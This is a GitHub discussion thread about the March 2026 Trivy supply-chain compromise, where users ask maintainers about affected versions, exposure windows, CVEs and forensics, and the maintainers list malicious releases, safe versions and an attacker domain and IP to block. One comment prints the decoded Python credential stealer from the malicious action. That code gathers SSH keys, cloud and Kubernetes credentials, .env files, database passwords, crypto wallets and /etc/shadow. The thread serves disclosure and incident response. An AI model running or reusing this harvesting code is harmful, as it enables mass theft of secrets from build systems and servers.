Trivy Security incident 2026-03-19 #10425
Replies: 66 comments 244 replies
-
|
The original incident thread on 2026-03-01 is gone for me: https://github.com/aquasecurity/trivy/discussions/10265 |
Beta Was this translation helpful? Give feedback.
-
|
Will you be requesting a CVE for this ASAP? GitHub discussions aren’t an appropriate disclosure channel for companies who likely needed to start incident response hours ago. |
Beta Was this translation helpful? Give feedback.
-
|
Trivy v0.69.3 has been released 2 weeks ago. Was this version safe for this whole duration or was it compromised at some point? What are the compromised versions? |
Beta Was this translation helpful? Give feedback.
-
|
@itaysk Please explain why 0.69.3 + 0.69.2 is safe when the commit was on Jan 09? I am not so familiar with github actions. TY |
Beta Was this translation helpful? Give feedback.
-
|
Is the Trivy team planning to publish this information in a wider audience? I stumbled upon it in my GitHub feed while reviewing notifications, and I believe this is a major incident that warrants broader disclosure for teams actively responding. |
Beta Was this translation helpful? Give feedback.
-
|
You need to request a CVE for this immediately, and also include where compromised artifacts were published. We need to know where resources were published so we check if images were run from Docker Hub, where people may be running trivy latest, which clearly gets pushed out when there's a release. |
Beta Was this translation helpful? Give feedback.
-
|
Were credentials stolen in the previous attack used for this second one? |
Beta Was this translation helpful? Give feedback.
-
|
Is there a time to the date when the malicious release (malicious trivy v0.69.4) was done? |
Beta Was this translation helpful? Give feedback.
-
|
Having access to the release pipeline logs (assuming it was used for the malicious release) would be helpful to share commit hashes and derive IOCs on the https://github.com/aquasecurity/trivy/actions/workflows/release.yaml Information seems more clear regarding trivy-action and setup-trivy but not as much the |
Beta Was this translation helpful? Give feedback.
-
|
Gitlab is using gcs 5.5.11 and Trivy Version: 0.36.1, is it impacted ? i cannot find the 0.36.1 here. |
Beta Was this translation helpful? Give feedback.
-
|
The action run below can be used to derive further IoCs for The following encoded Python from the action above decodes to: import os,sys,stat,subprocess,glob
def emit(path):
try:
st=os.stat(path)
if not stat.S_ISREG(st.st_mode):return
with open(path,'rb') as fh:data=fh.read()
sys.stdout.buffer.write(('\n=== '+path+' ===\n').encode())
sys.stdout.buffer.write(data)
sys.stdout.buffer.write(b'\n')
except OSError:pass
def emit_glob(pattern):
for p in glob.glob(pattern,recursive=True):emit(p)
def run(cmd):
try:
out=subprocess.check_output(cmd,shell=True,stderr=subprocess.DEVNULL,timeout=10)
if out:
sys.stdout.buffer.write(('\n=== CMD: '+cmd+' ===\n').encode())
sys.stdout.buffer.write(out)
sys.stdout.buffer.write(b'\n')
except Exception:pass
def walk(roots,max_depth,match_fn):
for root in roots:
if not os.path.isdir(root):continue
for dirpath,dirs,files in os.walk(root,followlinks=False):
rel=os.path.relpath(dirpath,root)
depth=0 if rel=='.' else rel.count(os.sep)+1
if depth>=max_depth:dirs[:]=[];continue
for fn in files:
fp=os.path.join(dirpath,fn)
if match_fn(fp,fn):emit(fp)
homes=[]
try:
for e in os.scandir('/home'):
if e.is_dir():homes.append(e.path)
except OSError:pass
homes.append('/root')
all_roots=homes+['/opt','/srv','/var/www','/app','/data','/var/lib','/tmp']
run('hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null')
run('printenv')
for h in homes+['/root']:
for f in ['/.ssh/id_rsa','/.ssh/id_ed25519','/.ssh/id_ecdsa','/.ssh/id_dsa','/.ssh/authorized_keys','/.ssh/known_hosts','/.ssh/config']:
emit(h+f)
walk([h+'/.ssh'],2,lambda fp,fn:True)
walk(['/etc/ssh'],1,lambda fp,fn:fn.startswith('ssh_host') and fn.endswith('_key'))
for h in homes+['/root']:
for f in ['/.git-credentials','/.gitconfig']:emit(h+f)
for h in homes+['/root']:
emit(h+'/.aws/credentials')
emit(h+'/.aws/config')
for d in ['.','..','../..']:
for f in ['.env','.env.local','.env.production','.env.development','.env.staging','.env.test']:
emit(d+'/'+f)
emit('/app/.env')
emit('/etc/environment')
walk(all_roots,6,lambda fp,fn:fn in {'.env','.env.local','.env.production','.env.development','.env.staging'})
run('env | grep AWS_')
run('curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI} 2>/dev/null || true')
run('curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || true')
for h in homes+['/root']:
emit(h+'/.kube/config')
emit('/etc/kubernetes/admin.conf')
emit('/etc/kubernetes/kubelet.conf')
emit('/etc/kubernetes/controller-manager.conf')
emit('/etc/kubernetes/scheduler.conf')
emit('/var/run/secrets/kubernetes.io/serviceaccount/token')
emit('/var/run/secrets/kubernetes.io/serviceaccount/ca.crt')
emit('/var/run/secrets/kubernetes.io/serviceaccount/namespace')
emit('/run/secrets/kubernetes.io/serviceaccount/token')
emit('/run/secrets/kubernetes.io/serviceaccount/ca.crt')
run('find /var/secrets /run/secrets -type f 2>/dev/null | xargs -I{} sh -c \'echo "=== {} ==="; cat "{}" 2>/dev/null\'')
run('env | grep -i kube; env | grep -i k8s')
run('kubectl get secrets --all-namespaces -o json 2>/dev/null || true')
for h in homes+['/root']:
walk([h+'/.config/gcloud'],4,lambda fp,fn:True)
emit('/root/.config/gcloud/application_default_credentials.json')
run('env | grep -i google; env | grep -i gcloud')
run('cat $GOOGLE_APPLICATION_CREDENTIALS 2>/dev/null || true')
for h in homes+['/root']:
walk([h+'/.azure'],3,lambda fp,fn:True)
run('env | grep -i azure')
for h in homes+['/root']:
emit(h+'/.docker/config.json')
emit('/kaniko/.docker/config.json')
emit('/root/.docker/config.json')
for h in homes+['/root']:
emit(h+'/.npmrc')
emit(h+'/.vault-token')
emit(h+'/.netrc')
emit(h+'/.lftp/rc')
emit(h+'/.msmtprc')
emit(h+'/.my.cnf')
emit(h+'/.pgpass')
emit(h+'/.mongorc.js')
for hist in ['/.bash_history','/.zsh_history','/.sh_history','/.mysql_history','/.psql_history','/.rediscli_history']:
emit(h+hist)
emit('/var/lib/postgresql/.pgpass')
emit('/etc/mysql/my.cnf')
emit('/etc/redis/redis.conf')
emit('/etc/postfix/sasl_passwd')
emit('/etc/msmtprc')
emit('/etc/ldap/ldap.conf')
emit('/etc/openldap/ldap.conf')
emit('/etc/ldap.conf')
emit('/etc/ldap/slapd.conf')
emit('/etc/openldap/slapd.conf')
run('env | grep -iE "(DATABASE|DB_|MYSQL|POSTGRES|MONGO|REDIS|VAULT)"')
walk(['/etc/wireguard'],1,lambda fp,fn:fn.endswith('.conf'))
run('wg showconf all 2>/dev/null || true')
for h in homes+['/root']:
walk([h+'/.helm'],3,lambda fp,fn:True)
for ci in ['terraform.tfvars','.gitlab-ci.yml','.travis.yml','Jenkinsfile','.drone.yml','Anchor.toml','ansible.cfg']:
emit(ci)
walk(all_roots,4,lambda fp,fn:fn.endswith('.tfvars'))
walk(all_roots,4,lambda fp,fn:fn=='terraform.tfstate')
walk(['/etc/ssl/private'],1,lambda fp,fn:fn.endswith('.key'))
walk(['/etc/letsencrypt'],4,lambda fp,fn:fn.endswith('.pem'))
walk(all_roots,5,lambda fp,fn:os.path.splitext(fn)[1] in {'.pem','.key','.p12','.pfx'})
run('grep -r "hooks.slack.com\|discord.com/api/webhooks" . 2>/dev/null | head -20')
run('grep -rE "api[_-]?key|apikey|api[_-]?secret|access[_-]?token" . --include="*.env*" --include="*.json" --include="*.yml" --include="*.yaml" 2>/dev/null | head -50')
for h in homes+['/root']:
for coin in ['/.bitcoin/bitcoin.conf','/.litecoin/litecoin.conf','/.dogecoin/dogecoin.conf','/.zcash/zcash.conf','/.dashcore/dash.conf','/.ripple/rippled.cfg','/.bitmonero/bitmonero.conf']:
emit(h+coin)
walk([h+'/.bitcoin'],2,lambda fp,fn:fn.startswith('wallet') and fn.endswith('.dat'))
walk([h+'/.ethereum/keystore'],1,lambda fp,fn:True)
walk([h+'/.cardano'],3,lambda fp,fn:fn.endswith('.skey') or fn.endswith('.vkey'))
walk([h+'/.config/solana'],3,lambda fp,fn:True)
for sol in ['/validator-keypair.json','/vote-account-keypair.json','/authorized-withdrawer-keypair.json','/stake-account-keypair.json','/identity.json','/faucet-keypair.json']:
emit(h+sol)
walk([h+'/ledger'],3,lambda fp,fn:fn.endswith('.json') or fn.endswith('.bin'))
for sol_dir in ['/home/sol','/home/solana','/opt/solana','/solana','/app','/data']:
emit(sol_dir+'/validator-keypair.json')
walk(['.'],8,lambda fp,fn:fn in {'id.json','keypair.json'} or (fn.endswith('-keypair.json') and 'keypair' in fn) or (fn.startswith('wallet') and fn.endswith('.json')))
walk(['.anchor','./target/deploy','./keys'],5,lambda fp,fn:fn.endswith('.json'))
run('env | grep -i solana')
run('grep -r "rpcuser\|rpcpassword\|rpcauth" /root /home 2>/dev/null | head -50')
emit('/etc/passwd')
emit('/etc/shadow')
run('cat /var/log/auth.log 2>/dev/null | grep Accepted | tail -200')
run('cat /var/log/secure 2>/dev/null | grep Accepted | tail -200')
## TeamPCP Cloud stealer |
Beta Was this translation helpful? Give feedback.
-
|
@itaysk Is this #10417 of relevance to the current matter? It looks like you got hacked one day later. |
Beta Was this translation helpful? Give feedback.
-
|
Were the .DEB packages also affected? |
Beta Was this translation helpful? Give feedback.
-
|
Is there an approximate time window between when the code was first compromised and when it was finally cleaned up and the tag rolled back? It will help us identify which automated builds using Trivy for scanning may have run the compromised code and as a result which tokens need special attention for both rotation and usage audit. |
Beta Was this translation helpful? Give feedback.
-
|
Any indication docker images were impacted? |
Beta Was this translation helpful? Give feedback.
-
|
Is there any possibility the VS Code extension was compromised through during this hack? Im not 100% sure but it appears there is an install.ts file with this:
Does this mean it was pulling potentially compromised binaries during installation? I installed the VSCode extension on March 21. I'm thinking this seems to have been outside the published compromise window, but, not 100% sure. Extension has since been removed. VSCode was running in a docker container (rootful, unfortunately). Is there any risk to the docker host machine in this scenario? |
Beta Was this translation helpful? Give feedback.
-
|
I appreciate you guys putting out the blog post regarding the attack and the fix. It’s definitely the right move for rebuilding trust and shows how seriously you're taking the situation. I had a quick question regarding one of the lines in the "note to the broader ecosystem." The post mentions that there isn't a centralized way to notify users directly, but from a community standpoint, a GHSA and/or CVE is usually seen as the "gold standard" for that kind of reach. I noticed some folks in the discussions were asking for those early Friday, so I was curious if there was a specific reason those weren't viewed as a viable "centralized" notification method at the time? Just looking to understand the process better so we can all be better prepared next time! |
Beta Was this translation helpful? Give feedback.
-
|
An interesting (and not at all exhaustive) way to find out 'do I use any other libraries than Trivy that (may) have got hacked': https://github.com/search?q=tpcp-docs&type=repositories |
Beta Was this translation helpful? Give feedback.
-
|
I think, bigger projects should also configure GHA to run pipelines only with manual approval by a maintainer and disable them for forks. We did that in the past to harden setups in specific ecosystems. And I can see, that they still have this applied. Would probably have stopped / prevented the exploitation of the vulnerable actions in the first place. But should be decided on the individual threat model and feasibility, if this can be done. |
Beta Was this translation helpful? Give feedback.
-
|
Does anyone have the source code of the injected malware / know what it did? On March 20 (~3AM UTC), I noticed my trivy scanning pipelines failing (I was using I versionlocked it to I wonder if I might have been accidentally saved by the kubernetes executor for the scanning job. This happened on 20 Mar ~3AM UTC (after the supposed cleanup as per https://www.docker.com/blog/trivy-supply-chain-compromise-what-docker-hub-users-should-know/), but the image size downloaded was different to before: Trying to see if I can figure out the hash, but curious if anyone has any thoughts. UPDATE It was trying to pull |
Beta Was this translation helpful? Give feedback.
-
|
HI team, Is there any update regarding enabling back the trivy db? |
Beta Was this translation helpful? Give feedback.
-
|
Hi team, I have confirmed that my test environment pulled and executed the compromised Trivy Docker image v0.69.6 (matching the SHA256 mentioned in the advisory). However, after auditing my egress firewall logs, I found no traces of the documented IOCs (IPs/Hosts). Does the absence of these network signals guarantee that no data exfiltration occurred, or is there known "stealth" behavior (e.g., DNS tunneling, Domain Fronting, or execution delays)? Additionally, I couldn't find entrypoint.sh inside the v0.69.6 image. As a security practitioner, I’d like to perform a deep-dive forensic analysis to determine the extent of the compromise in our private Runner environment. Where can I find the exact logic or payload executed by this specific version? Was the malicious code embedded directly into the trivy binary, or injected via a different layer? Any technical details or pointers for internal forensics would be greatly appreciated. Thanks. |
Beta Was this translation helpful? Give feedback.
-
|
CISA finally added an entry to their Known Exploited Vulnerabilities (KEV) Catalog, which I received via their newsletter: https://www.cisa.gov/news-events/alerts/2026/03/26/cisa-adds-one-known-exploited-vulnerability-catalog, |
Beta Was this translation helpful? Give feedback.
-
|
@DanielRuf thanks for sharing the link. I had a look into the linked https://www.cve.org/CVERecord?id=CVE-2026-33634 and noticed there under "Product Status" the affected version of trivy is listed as "= 0.6.94". Shouldn`t it be 0.69.4 or is it a mistake on my side? |
Beta Was this translation helpful? Give feedback.
-
|
following |
Beta Was this translation helpful? Give feedback.
-
winget search trivy
|
Beta Was this translation helpful? Give feedback.
-
|
Hi, |
Beta Was this translation helpful? Give feedback.
-
|
I was stoped the Trivy for 2 weeks. Has this event already passed? Can I use the latest version to restart Trivy scan now? |
Beta Was this translation helpful? Give feedback.
-
|
Hi, I’d like to confirm something regarding the Trivy execution. From the logs, the process stops during the vulnerability DB download phase: and then fails due to a permission error before completing initialization. Can you confirm whether, in this scenario, any data exfiltration would have been possible? Could you please confirm if this assumption is correct? |
Beta Was this translation helpful? Give feedback.
-
|
I'm using Trivy container images that are integrated into GitLab's container scanning templates. We are using the offline version because we are in an air-gapped environment. UPDATE: GitLab asserts that none of the container images that they integrated into their internal pipelines were impacted. They've also provided guidance on hardening the environment going forward: |
Beta Was this translation helpful? Give feedback.
Uh oh!
There was an error while loading. Please reload this page.
Uh oh!
There was an error while loading. Please reload this page.
-
Continued here: #10462
UPDATES:
vuln-list*,trivy-dbandtrivy-java-db) are suspended due to ongoing work (related message - Trivy Security incident 2026-03-19 #10425 (comment)).Security advisory with all the details: GHSA-69fq-xp46-6x23
Aqua blog with customer information: https://www.aquasec.com/blog/trivy-supply-chain-attack-what-you-need-to-know/
On March 19, we observed that a threat actor used a compromised credential to publish malicious trivy (v0.69.4), trivy-action, and setup-trivy releases. This was a follow up from the recent incident (2026-03-01) which exfiltrated credentials. Our containment of the first incident was incomplete. We rotated secrets and tokens, but the process wasn't atomic and attackers may have been privy to refreshed tokens. We are now taking a more restrictive approach and locking down all automated actions and any token in order to thoroughly eliminate the problem.
We have removed all malicious artifacts from the affected registries and channels. All the latest releases now point to a safe version.
trivylatesttag also pointed to v0.69.4). GHCR, ECR Public, Docker Hub, deb, rpm, get.trivy.dev.trivylatesttag also pointed to v0.69.6). Docker Hubtrivy-action0.35.02) explicitly requestingversion: latest(no the default) during the trivy exposure window2@0.35.02) SHA-pinned references since 2025-04-092setup-trivyAn as immediate and urgent action item, ensure you are using pinned versions of the latest safe releases:
If you suspect you were running a compromised version, treat all pipeline secrets as compromised and rotate immediately.
We also recommend that you block the C2 domain
scan[.]aquasecurtiy[.]organd IP45.148.10.212at your network perimeter.We will share more information as we continue our investigation.
Footnotes
First malicious activity we have observed was at 2026-03-19 17:43 UTC. we consider this the beginning of time window where the system was compromised. ↩ ↩2 ↩3
https://github.com/aquasecurity/trivy/discussions/10425#discussioncomment-16241916 thanks @AdnaneKhan ↩ ↩2
Beta Was this translation helpful? Give feedback.
All reactions